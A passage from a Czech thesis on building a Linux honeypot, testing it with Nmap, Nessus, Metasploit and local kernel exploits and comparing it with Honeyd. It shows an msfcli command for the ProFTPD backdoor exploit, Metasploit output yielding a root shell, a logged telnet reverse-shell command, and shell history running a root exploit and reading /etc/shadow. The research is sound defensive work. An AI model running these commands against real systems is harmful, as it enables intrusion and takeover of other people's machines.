démony. U webového serveru Apache a SSH serveru správně určil i přesnou verzi. U FTP serveru zase 
správně identifikoval, že jde o verzi obsahující zadní vrátka, což ověřil spuštěním příkazu id. Správně 
také určil rozsah, ze kterého pochází použitá verze jádra (použité jádro je verze 2.6.19.1). Z pohledu 
útočníka je tedy možno o honeypotu získat dostatek informací, které by usnadnili případný útok.
Výstup z honeypotu – Vytvořený honeypot
Výstup  z  honeypotu  ve  formě  logů  obsahoval  velké  množství  informací  o proběhlém  skenování. 
Stejně tak i soubor se záznamy z IDS Snort,  který  obsahoval informace o skenování portů, pokusu 
získat  informace  pomocí  SNMP,  chybném  FTP  příkazu  a hlášení  o pokusech  přistupovat 
k potencionálně citlivým, či neexistujícím souborům na webovém serveru.
V záznamech z Apache serveru bylo možné najít informace, k jakým souborům  přesně  bylo 
přistupováno, či byl pokus k nim přistoupit.  V záznamech FTP serveru bylo vidět, že bylo otevřeno 
a zase uzavřeno několik FTP sezení. V logu vygenerovaného jádrem s Grsecurity bylo možno najít 
příkazy,  které  byly  spuštěny  ze  vzdáleného  počítače.  Kromě  spuštění  ssh  serveru,  při  pokusech 
o přihlášení,  tady bylo možno nalézt  i  příkaz  id,  jehož spuštěním  pomocí  zadních vrátek v FTP 
serveru Nmap ověřil, že jsou přítomna. Záznam z iptables obsahoval informaci o proběhlém skenování 
či DOS útoku a záznam z ssh serveru zase informaci o pokusu o připojení.
Z  těchto  záznamů  je  zřejmé,  že  honeypot  skenování  pomocí  Nmapu  detekoval  a poskytl 
informace  o  tom,  co  se  dělo.  Pro  detailnější  analýzu  útoku je  také  možno využít  záznam  síťové 
komunikace vytvořený nástrojem Tcpdump.
Výstup z Nmapu – Honeyd
V případě auditu nástroje Honeyd měl výstup následující podobu:
Starting Nmap 5.51 ( http://nmap.org ) at 2011-04-14 15:54 CEST 
Nmap scan report for 188.75.184.241 
Host is up (0.0075s latency). 
Not shown: 997 closed ports 
PORT   STATE SERVICE VERSION 
21/tcp open  ftp     ProFTPD 1.2.4rc1 
| banner: 220 ProFTPD 1.2.4rc1 Server (SuSE) [bps-pc10.local.mynet] 
ready 
|_. 
22/tcp open  ssh     OpenSSH 3.0.2p1 (protocol 1.99) 
|_banner: SSH-1.99-OpenSSH_3.0.2p1 
80/tcp open  http    Apache httpd 1.3.23 
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| http-enum: 
[ Výstup skriptu http-enum byl kvůli délce vypuštěn. ]
Device type: WAP|general purpose|router 
Running (JUST GUESSING): Linux 2.4.X|2.6.X (90%), Toshiba Linux 2.4.X 
(89%), Linksys embedded (87%), Gemtek embedded (85%), Siemens embedded 
(85%) 
Aggressive OS guesses: OpenWrt (Linux 2.4.32) (90%), Toshiba Magnia 
SG10 server appliance (Linux 2.4.18) (89%), OpenWrt White Russian 0.9 
(Linux 2.4.30) (89%), Linux 2.6.8 - 2.6.27 (88%), OpenWrt (Linux 2.4.30 
- 2.4.34) (87%), Linux 2.6.15-27 (Ubuntu 6.06) (87%), Linux 2.6.5 
(87%), Linksys RV042 router (87%), Linksys WRV54G WAP (85%), Linux 
2.6.9 - 2.6.11 (85%) 
No exact OS matches for host (test conditions non-ideal). 
Network Distance: 1 hop
Jak  je  vidět  na  výstupu  z  Nmapu,  tak  byly  správně  identifikovány  provozované  služby  i  jejich 
zamýšlené verze. Při identifikaci vzdáleného operačního systému se Nmapu nepodařilo určit systém se 
stoprocentní  jistotou,  ale  jeho  nejpravděpodobnější  odhad  na  Linux  2.4.x,  nebo  2.6.x  odpovídá 
operačnímu systému nastavenému v konfiguraci Honeyd.
Z výsledku byl odstraněn výstup skriptu http-enum, který hledá potencionálně zajímavé složky 
a soubory na webovém serveru. Vzhledem k faktu, že skript simulující  webový server na každou  
žádost odpovídá kladně, obsahoval výstup přes 400 potencionálně zajímavých adres.  Toto chování 
není úplně šťastné, protože útočník by z něj mohl poznat, že se jedná o honeypot.
Výstup z honeypotu – Honeyd
Výstup Honeyd obsahuje několik různých záznamů. V logu paketů z Honeyd, můžeme identifikovat 
všechna realizovaná připojení. Tam lze vidět následující řádky:
2011-04-14-15:54:34.5007 tcp(6) S 192.168.0.3 59283 188.75.184.241 21 
[SunOS 4.1 ] 
2011-04-14-15:54:34.5011 tcp(6) - 192.168.0.3 59283 188.75.184.241 587: 
44 S [SunOS 4.1 ]
Kde najdeme datum a čas, protokol paketu, označení paketu (S – začátek spojení, E – konec spojení, - 
– paket nenáleží žádnému spojení), zdrojovou ip adresu, zdrojový port, cílovou ip adresu, cílový port  
a v hranaté  závorce  identifikovaný  zdrojový  operační  systém.  V  případě,  že  TCP paket  nenáleží 
žádnému spojení, tak za cílovým portem po dvojtečce následuje ještě velikost paketu a jeho příznaky.
Z množství těchto záznamu, je zřejmé, že proběhlo skenování portů. Ze začátku skenování byl 
však zdrojový systém nesprávně identifikován jako SunOS, u dalších paketů už byl správně rozpoznán 
operační systém Linux. V záznamech webového serveru můžeme najít seznam požadavků, které byly 
na server zaslány. Z nich lze vyčíst ke kterým adresářům či dokumentům bylo přistupováno a další 
informace,  které  prohlížeč  zaslal  serveru,  spolu  s  požadavkem.  V těchto  záznamech  lze  snadno 
identifikovat skenování pomocí Nmapu, protože se serveru sám identifikuje:
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User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; 
http://nmap.org/book/nse.html)
Porovnání obou honeypotů
Oba honeypoty mají schopnost detekovat skenování pomocí nástroje Nmap a poskytnout informace 
o zdroji tohoto skenování. Stejně tak oba honeypoty poskytly informace o požadavcích na webový 
server,  které  obsahují  požadované  adresáře  a  dokumenty.  Honeyd  v  tomto  případě  působil 
nevěrohodně,  protože na všechny zkoušené webové adresy vracel kladné odpovědi, jakoby stránky 
byly přítomny.
5.4.2 Nessus
Nessus je  síťový skener  zranitelností  od firmy Tenable.  Jde o  komerční  produkt,  ale  je  dostupná 
i bezplatná verze pro osobní  nekomerční  použití.  Nessus dokáže detekovat  několik stovek až tisíc 
potencionálních  zranitelností,  způsobených  jak  nevhodnými  verzemi  programů,  tak  špatnou 
konfigurací či slabým heslem.  Ke každé zranitelnosti  poskytne vysvětlení  v čem spočívá, navrhne 
možnost jak tuto zranitelnost odstranit a případně dodá i reference na internetové stránky, týkající se 
této zranitelností.
Popis experimentu
Tento  experiment  je  podobný  experimentu  s  nástrojem  Nmap. Pomocí  webového  rozhraní  bylo 
spuštěno skenování honeypotu.  Byl očekáván výstup popisující provozované služby a možné jejich 
zranitelnosti, především pak informace o zadních vrátkách v ftp serveru či slabá hesla u ssh účtů.
Výstup z Nessusu – Vytvořený honeypot
Nessus odhalil celkem 28 bezpečnostních nedostatků. Tři z nich byly označeny jako vysoce závažné, 
jeden  jako  střední  a  zbytek  jako  nízko  závažné.  Mezi  nejzávažnější  nedostatky  patřily již 
nepodporovaný  operační  systém,  ProFTPD  server  se  zadními  vrátky  a slabé  heslo  pro 
superuživatelský účet na ssh.  Za středně závažné nedostatky byly považovány povolené metody http 
protokolu  trace  a  track,  které  slouží  k  debugování  webového  serveru.  Mezi  nedostatky  s  nízkou 
závažností byly skutečnosti, že lze zjistit verze démonu pro http, ftp, ssh či operačního systému.
Výstup z honeypotu – Vytvořený honeypot
Podobně  jako  u  Nmapu,  i  při  tomto  experimentu  IDS  Snort  zaznamenal  velké  množství  
potencionálních  útoků.  Záznamy  jednotlivých  služeb  odpovídají  opět  obsahují  velké  množství 
informací, ukazující na proběhlé skenování portů. Zajímavé jsou také například záznamy ftp démona, 
které  ukazují  pokusy o vkládání  speciálně  upravených příkazů,  za  účelem otestování  zranitelností 
způsobených  špatným  zpracováním  vstupu.  Podobné  zajímavé  požadavky  odeslané  na  server  lze 
nalézt i v záznamech webového serveru Apache.
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Výstup z Nessusu – Honeyd
V případě  Honeyd  odhalil  Nessus  celkem 49  bezpečnostních  nedostatků.  Šestnáct  z  toho vysoce 
závažných,  patnáct  středně  závažných  a  patnáct  nízko závažných.  Většina  nalezených  nedostatků 
spočívá ve starých verzích serverových démonů.  Mezi vážné nedostatky, které nejsou hlášeny kvůli 
staré verzi démona, patří podpora příkazu PORT na FTP serveru. Také u Honeyd Nessus označil za 
málo závažný nedostatek možnost identifikovat verze provozovaných démonů.
Výstup z honeypotu – Honeyd
V záznamu paketů lze opět vidět velké množství vytvořených spojení,  které svědčí o provedeném 
skenování  portů.  V záznamech  webového  a  ftp serveru  lze  vidět  jednotlivé  požadavky  odeslané 
a příkazy odeslané na server.
Porovnání obou honeypotů
Oba  honeypoty  opět  poskytly informace  o  skenování  portů  a  o  počtech  připojení  k  jednotlivým 
službám.  Srovnatelné  informace  poskytly  i  o  požadovaných  webových  adresách  a  zadaných  ftp 
příkazech. Co se týká ssh, tak Honeyd kromě počtu připojení a zdrojových IP adres neposkytl žádné 
další  informace.  To  je  způsobeno  faktem,  že  skript  v  Honeyd  implementující  ssh pouze  vrací 
chybovou  zprávu  a  neumožňuje  skutečně vytvořit  ssh  spojení.  Z  toho  důvodu  nemůže  Honeyd 
poskytnout detailnější informace o útoku na ssh, protože takovýto útok v podstatě není možný. Naproti 
tomu  vytvořený  honeypot  zaznamenal  všechny  pokusy  o  přihlášení  Nessusu  k  ssh,  včetně 
uživatelských jmen a hesel. Při tomto experimentu tedy celkově Honeyd poskytl méně informací než 
vytvořený honeypot.
5.4.3 Metasploit Framework
Metasploit framework je bezplatný open-source nástroj pro penetrační testování. Jak je patrné ze slova 
framework,  kromě  samotného  testování  s  pomocí  již  existujících  skriptů, tento  nástroj  umožňuje 
i snadnou tvorbu vlastních skriptů, pro odhalení a případné zneužití zranitelností.
Popis experimentu – Vytvořený honeypot
Pomocí Metasploit Frameworku se pokusíme zneužít zadní vrátka v ftp serveru ProFTPD. Přesněji 
řečeno získat přístup k příkazové řádce superuživatele root, bez potřeby se přihlašovat .  Příkazovou 
řádku se pokusíme získat pomocí specifického exploitu, pro tuto zranitelnost. Tento exploit spustíme 
příkazem:
msfcli exploit/unix/ftp/proftpd_133c_backdoor RHOST=188.75.184.250 
CHOST=188.75.184.13 E
Kde  RHOST je adresa honeypotu a  CHOST je adresa počítače, ze kterého je prováděn experiment. 
Počítač,  ze kterého je prováděn experiment by měl být  dostupný z honeypotu a měl mít  vypnutý 
firewall, jelikož exploit na honeypotu spustí kód, který se připojí zpět k Metasploitu. Tento experiment 
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bude  prováděn  pouze  na  vytvořeném  honeypotu,  protože  nízce interaktivní  Honeyd  takovouto 
kompromitaci neumožňuje.
Výstup z Metasploit Frameworku – Vytvořený honeypot
Útok se povedlo úspěšně provést. Byla získána příkazová řádka superuživatele. Výstup z Metasploitu 
byl následující:
                                  _       _ 
             _                   | |     (_)_ 
 ____   ____| |_  ____  ___ ____ | | ___  _| |_ 
|    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _) 
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__ 
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___) 
                           |_| 
       =[ metasploit v3.7.0-dev [core:3.7 api:1.0] 
+ -- --=[ 670 exploits - 350 auxiliary 
+ -- --=[ 217 payloads - 27 encoders - 8 nops 
       =[ svn r12232 updated 5 days ago (2011.04.04) 
 
RHOST => 188.75.184.250 
CHOST => 188.75.184.13 
[*] Started reverse double handler 
[*] Sending Backdoor Command 
[*] Accepted the first client connection... 
[*] Accepted the second client connection... 
[*] Command: echo D4AeLNKIkSgDRDJ7; 
[*] Writing to socket A 
[*] Writing to socket B 
[*] Reading from sockets... 
[*] Reading from socket A 
[*] A: "D4AeLNKIkSgDRDJ7\r\n" 
[*] Matching... 
[*] B is input... 
[*] Command shell session 1 opened (188.75.184.13:4444 -> 
188.75.184.250:3092) at 2011-04-09 18:46:58 +0200 
 
whoami 
root
Po  úspěšném získání  sezení,  byl  zadán  příkaz  whoami,  který  vypíše  aktuálního  uživatele. 
Z výstupu je vidět, že aktuální uživatel je opravdu superuživatel root.
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Výstup z honeypotu
Honeypot opět zaznamenal podezřelou aktivitu. V záznamech  IDS Snort je informace o neplatném 
Telnetovém a ftp příkazu. To souvisí s faktem, že přesměrování příkazové řádky z honepotu zpět na 
počítač s Metasploitem probíhá pomocí telnetu a příkaz, který to realizuje je poslán v rámci ftp sezení.
V záznamech syslogu z ftp pak můžeme najít položku, o tom, že bylo otevřeno ftp sezení. Další 
informace  obsahuje  záznam vygenerovaný  Grsecurity.  Zde  můžeme  najít,  kterým příkazem došlo 
k přesměrování sezení na počítač s Metasploitem:
Apr  9 18:46:54 192.168.56.200 kernel: grsec: From 188.75.184.13: exec 
of /usr/bin/nohup (nohup sh -c (sleep 4550|telnet 188.75.184.13 4444|
while : ; do sh && break; done 2>&1|telnet 188.75.184.13 4444 
>/dev/null 2>&1 ) by /bin/bash[sh:2912] uid/euid:0/0 gid/egid:0/0, 
parent /bin/bash[sh:2911] uid/euid:0/0 gid/egid:0/0
Dále je možné v logu Grsecurity nalézt i informaci, že byl spuštěn příkaz whoami:
Apr  9 18:47:01 192.168.56.200 kernel: grsec: From 188.75.184.13: exec 
of /usr/bin/whoami (whoami ) by /bin/bash[sh:2923] uid/euid:0/0 
gid/egid:0/0, parent /bin/bash[sh:2917] uid/euid:0/0 gid/egid:0/0
Porovnání obou honeypotů
Při tomto experimentu došlo ke kompletní kompromitaci cílového systému. Právě tímto se liší vysoce 
a nízko interaktivní honeypoty. Honeyd jako nízko interaktivní honeypot, simulující pouze pár funkcí 
ftp serveru takovouto kompromitaci neumožňuje a proto s ním nemohl být tento experiment proveden.
5.5 Experimenty s lokálně zneužitelnými zranitelnostmi
Následující  experimenty  byly  zaměřeny  na  využití  obecně  známých  bezpečnostních  zranitelností  
v systému honeypotu. Na internetu existují rozsáhlé databáze bezpečnostních problému a zranitelností, 
všech možných programů. Právě tyto databáze může útočník využít při hledání bezpečnostní chyby,  
kterou by mohl využít pro svůj prospěch. Jednu takovou databázi, v které je možné snadno vyhledávat, 
podle konkrétního programu či verze, nalezneme na adrese  http://www.cvedetails.com. Právě v této 
databázi byly nalezeny bezpečnostní chyby, pro které byly následně vyhledány exploity.
Tyto experimenty byly prováděny pouze s vytvořeným honeypotem. Honeyd pouze simuluje 
části  služeb  a tedy  nelze  na  něm  experimentovat  s  lokálně  zneužitelnými  zranitelnostmi,  které 
zneužívají specifické chyby jádra operačního systému.
5.5.1 Získání práv superuživatele (CVE-2008-0600)
Chyba  ve  funkci  vmsplice_to_pipe v  linuxových  jádrech  2.6.17  až  2.6.24.1,  umožnila  při 
speciálně upravených parametrech získat superuživatelská práva.
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Popis experimentu
V tomto experimentu předpokládáme scénář, kdy má útočník přístup k obyčejnému uživatelskému 
účtu. Útočník následně pomocí SCP25,  nakopíruje do své složky již zkompilovaný exploit, který mu 
zaručí  získání  superuživatelských  oprávnění.  Tento  fakt  bude  ověřen  použitím  příkazu  whoami 
a vypsáním dvou posledních řádků ze souboru /etc/shadow.
Zdrojový kód exploitu je dostupný na adrese: http://www.exploit-db.com/exploits/5092/. Cílem 
tohoto  experimentu  je  ukázat,  že  vytvořený  honeypot  umožňuje  využití  takovýchto  exploitů.  To 
otevírá  možnosti  k  tomu,  aby útočník  podobné,  ale  například doposud neznámé,  exploity  použil. 
Zachycení neznámého exploitu by pak mohlo kupříkladu vést k odhalení zranitelností nultého dne. 
Výstup z honeypotu
IDS Snort tentokrát nezachytil nic,  což je v pořádku, protože veškerá síťová aktivita byla legitimní. 
Záznamy v syslogu, ukazují použití SCP pro nakopírování souboru na honeypot. V záznamech Bashe 
můžeme vidět následující sekvenci příkazů:
-bash: HISTORY: PID=2916 UID=1000 chmod +x kernel_local_root_\(2008-
0600\)
-bash: HISTORY: PID=2916 UID=1000 ./kernel_local_root_\(2008-0600\)
bash: HISTORY: PID=2936 UID=0 whoami 
bash: HISTORY: PID=2936 UID=0 tail -n 2 /etc/shadow 
bash: HISTORY: PID=2936 UID=0 exit 
-bash: HISTORY: PID=2916 UID=1000 exit
Z této sekvence je patrné,  že uživatel  s  UID 1000 spustil  zmíněný exploit  a najednou byly  
všechny  ostatní  příkazy  spuštěny  pod  uživatelem  s  UID 0,  což  je  superuživatel  root.  Přitom  ze 
záznamů autentizace je je vidět, že přihlášení k účtu root vůbec neproběhlo. Detailnější informace lze 
získat  v záznamech z Grsecurity,  kde lze vidět,  že exploit  spuštěný s právy obyčejného uživatele 
najednou spustí Bash s právy roota. Vzhledem k tomu, že exploit nebyl z disku honeypotu smazán, tak 
je je dále k nalezení i na pevném disku honeypotu. Tento experiment ukázal, že honeypot je schopný 
poskytnout dostatek informací, k identifikaci takovéhoto exploitu pro získání superuživatelských práv.
5.5.2 Způsobení odepření služeb (CVE-2006-7051)
Chyba ve funkci sys_timer_create v jádrech 2.6.x umožňuje lokálnímu uživateli způsobit útok 
na odepření služeb. Tento útok spočívá ve vytvoření velkého množství posixových časovačů, které 
jsou však uloženy v paměti jádra a nejsou součástí paměti procesu. Díky tomu může obyčejný uživatel 
zahltit paměť i přes případné paměťové limity.
Popis experimentu
V tomto experimentu uvažujeme, že útočník má přístup k obyčejnému lokálnímu účtu. Na tento účet si  
přes  SCP nahraje  již  zkompilovaný  exploit,  jehož  zdrojový  kód  lze  nalézt  na  adrese: 
25 SCP neboli Secure Copy slouží k přenosu souborů pomocí protokolu SSH.
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http://www.exploit-db.com/exploits/1657/.  Úkolem  tohoto  experimentu  je  vyzkoušet,  zdali  dokáže 
honeypot odhalit takovýto druh útoku.
Výstup z honeypotu
Výstup z honeypotu v tomto případě poskytl v záznamech ze syslogu pouze malé množství informací.  
V záznamech z příkazů v Bashi bylo možno zjistit, který soubor útočník spustil, stejnou informaci 
bylo  možno  vyčíst ze  souboru se  záznamem z Grsecurity.  Nejcennější  informací,  kterou  v  tomto 
případě mohl honeypot poskytnout je bezesporu obraz pevného disku, s daným exploitem. Vzhledem 
k faktu, že téměř bezprostředně po spuštění  tohoto exploitu došlo k přerušení ssh spojení  z důvodu 
velkého vytížení, je velká šance, že by tento soubor útočník nestihl odstranit.
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6 Závěr
Cílem této  práce  bylo vytvoření  vysoce  interaktivního  virtuálního  honeypotu  na  bázi  Linuxu  pro 
zachytávání  síťových útoků.  Univerzálnost  operačního systému Linux a jeho nasazení  na všechna 
možná  zařízení  od  domácích  routerů,  přes  chytré  telefony,  televize,  internetové  servery  až  po 
superpočítače, dělá z Linuxu lákavý cíl. Množství nového škodlivého kódu každoročně narůstá a s tím 
i intenzita útoků. V takovémto prostředí je vhodné mít nástroj, který pomůže odhalit a identifikovat 
nové typy a způsoby útoků, což je přesně úkol vytvořeného honeypotu.
Základem  bylo  nastudování  možnosti  monitorování  a  auditu  linuxového  systému.  Tomuto 
tématu byla věnována celá 3. kapitola.  Na základě analýzy v této kapitole pak byly některé nástroje 
vybrány pro nasazení v tvořeném honeypotu. Návrhu a tvorbě celého honeypotu se věnuje kapitola 4.  
První část této kapitoly je zaměřena na výběr a úpravu operačního systému a služeb v honeypotu.  
Druhá  část  pak  pojednává  o  konfiguraci  hostitele,  na  kterém bude  tento  honeypot,  či  honeypoty 
provozovány.
Kapitola 5 pak popisuje experimenty s vytvořeným honeypotem. Některé z experimentů jsou 
současně  prováděny  i  s  nástrojem  Honeyd,  pokud  to  je  možné,  a  je  provedeno  srovnání  obou 
honeypotů. Hned ze začátku této kapitoly je popsán první zachycený útok po vystavení honeypotu do 
internetu.  K napadaní  došlo přes  slabé heslo na službě ssh,  respektive po opakovaných pokusech 
o přihlášení byl útočník do systému vpuštěn upraveným autentizačním modulem systému PAM. Při 
tomto průniku byly získány upravené zdrojové kódy Openssh serveru i klienta, které obsahovaly zadní 
vrátka.  Součástí  popisu průniku je  i  analýza těchto zdrojových kódů,  kde jsou popsány vlastnosti 
a funkce přítomných zadních vrátek.
Cíl této práce, tedy vytvoření vysoce interaktivního honeypotu pro zachycení síťových útoků se 
podařilo splnit a vytvořený nástroj je možno použít.
6.1 Možná vylepšení
Mezi  možná  vylepšení  by  mohly  patřit  nástroje  zjednodušující  a  zrychlující  práci  s  honeypotem 
a analýzu  získaných  dat.  Tyto  nástroje  by  mohly  ve  výsledných  datech  hledat  již  známé  vzory 
podezřelých aktivit. Případně by mohly získávat dodatečné informace, které by připojily k výstupu 
honeypotu.  Mezi  takovéto  dodatečné  informace  by  mohlo  patřit  automatické  získávání  informací 
o zúčastněných IP adresách z WHOIS databází a podobně.
6.2 Budoucnost
Dle mého názoru bude počet hrozeb neustále růst, ruku v ruce s tím, jak poroste množství uživatelů 
a zařízení připojených k internetu. Z toho důvodu bude růst  i potřeba nástrojů pro včasnou detekci 
nových hrozeb a jejich analýzu, jako jsou honeypoty.
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Příloha A
Struktura adresářů a souborů na přiloženém DVD:
/Experimenty
Adresář obsahující výstupy skriptů i honeypotů získané během experimentů.
/Honeypot
Adresář obsahující vytvořený honeypot.
/Honeypot/START
Skript pro spuštění honeypotu.
/Honeypot/iptables.script
Skript firewallu s NATem pro ochranu okolí před kompromitovaným honeypotem.
/Honeypot/data/HardDisk/honeypot.vmdk
Soubor s obrazem pevného disku, obsahujícího honeypot ve výchozím stavu.
/Honeypot/data/VirtualMachine/honeypot.ovf
Soubor s konfigurací virtuálního počítače honeypotu pro VirtualBox.
/Konfiguracni_soubory_bastion
Konfigurační soubory pro systém hostící honeypot.
/Tvorba_honeypotu
Adresář obsahující data vytvořená při práci na honeypotu.
/Tvorba_honeypotu/Balicky_pro_Debian_Etch
Binární balíčky programů upravených pro použití v honeypotu.
/Tvorba_honeypotu/Falesna_citliva_data
Falešná citlivá data pro vytvářený honeypot, včetně redakčního systému Drupal.
/Tvorba_honeypotu/Konfiguracni_soubory_honeypot
Upravené konfigurační soubory které jsou na honeypotu.
/Tvorba_honeypotu/Vytvoreny_PAM_modul
Vytvořený PAM modul, tento modul je přítomen i v adresáři obsahující konfigurační soubory 
v podadresáři lib/security.
/Tvorba_honeypotu/Instalace_systemu_honeypotu
Poznámky k tomu, jak probíhala instalace a konfigurace systému honeypotu.
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